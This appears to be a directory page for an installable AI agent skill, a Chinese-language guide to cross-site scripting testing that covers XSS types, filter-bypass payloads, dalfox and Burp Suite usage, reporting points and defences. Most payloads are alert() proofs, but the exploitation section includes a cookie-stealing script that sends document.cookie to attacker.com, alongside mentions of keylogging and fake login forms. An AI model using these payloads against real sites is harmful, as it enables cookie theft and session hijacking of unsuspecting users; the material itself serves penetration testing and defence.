Install
mkdir -p .claude/skills/xss-testing && curl -L -o skill.zip "https://mcp.directory/api/skills/download/4391" && unzip -o skill.zip -d .claude/skills/xss-testing && rm skill.zipInstalls to .claude/skills/xss-testing
About this skill
XSS测试技能
概述
跨站脚本攻击(XSS)允许攻击者在受害者的浏览器中执行恶意JavaScript代码。本技能涵盖反射型、存储型和DOM型XSS的测试方法。
XSS类型
1. 反射型XSS (Reflected XSS)
- 恶意脚本通过URL参数传递
- 服务器直接返回包含脚本的响应
- 需要用户点击恶意链接
2. 存储型XSS (Stored XSS)
- 恶意脚本存储在服务器（数据库、文件等）
- 所有访问受影响页面的用户都会执行脚本
- 影响范围更大
3. DOM型XSS (DOM-based XSS)
- 客户端JavaScript处理用户输入不当
- 不涉及服务器端处理
- 通过修改DOM结构触发
测试方法
基础Payload
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>
<body onload=alert('XSS')>
绕过过滤
大小写绕过
<ScRiPt>alert('XSS')</ScRiPt>
编码绕过
%3Cscript%3Ealert('XSS')%3C/script%3E
<script>alert('XSS')</script>
事件处理器
<img src=x onerror=alert(String.fromCharCode(88,83,83))>
<div onmouseover=alert('XSS')>hover</div>
<input onfocus=alert('XSS') autofocus>
伪协议
<a href="javascript:alert('XSS')">click</a>
<iframe src="javascript:alert('XSS')">
高级绕过技术
使用String.fromCharCode
<script>alert(String.fromCharCode(88,83,83))</script>
使用eval和atob
<script>eval(atob('YWxlcnQoJ1hTUycp'))</script>
使用HTML实体
<script>alert('XSS')</script>
工具使用
dalfox
# 基础扫描
dalfox url "http://target.com/page?q=test"
# 指定参数
dalfox url "http://target.com/page" -d "q=test" -X POST
# 使用自定义payload
dalfox url "http://target.com/page?q=test" --custom-payload payloads.txt
Burp Suite
- 使用Intruder模块进行批量测试
- 使用Repeater手动测试
- 使用Scanner自动检测
浏览器控制台
- 测试DOM型XSS
- 检查JavaScript执行环境
- 调试payload
验证和利用
验证步骤
- 确认payload被执行
- 检查是否被过滤或编码
- 测试不同上下文（HTML、JavaScript、属性等）
- 评估影响（Cookie窃取、会话劫持等）
利用场景
- Cookie窃取：
<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script> - 键盘记录：注入键盘事件监听器
- 钓鱼攻击：伪造登录表单
- 会话劫持：获取用户会话token
报告要点
- XSS类型（反射/存储/DOM）
- 触发位置和参数
- 完整的POC
- 影响评估
- 修复建议（输出编码、CSP策略等）
防护措施
- 输入验证和过滤
- 输出编码（HTML、JavaScript、URL）
- Content Security Policy (CSP)
- HttpOnly Cookie标志
- 使用安全的框架和库
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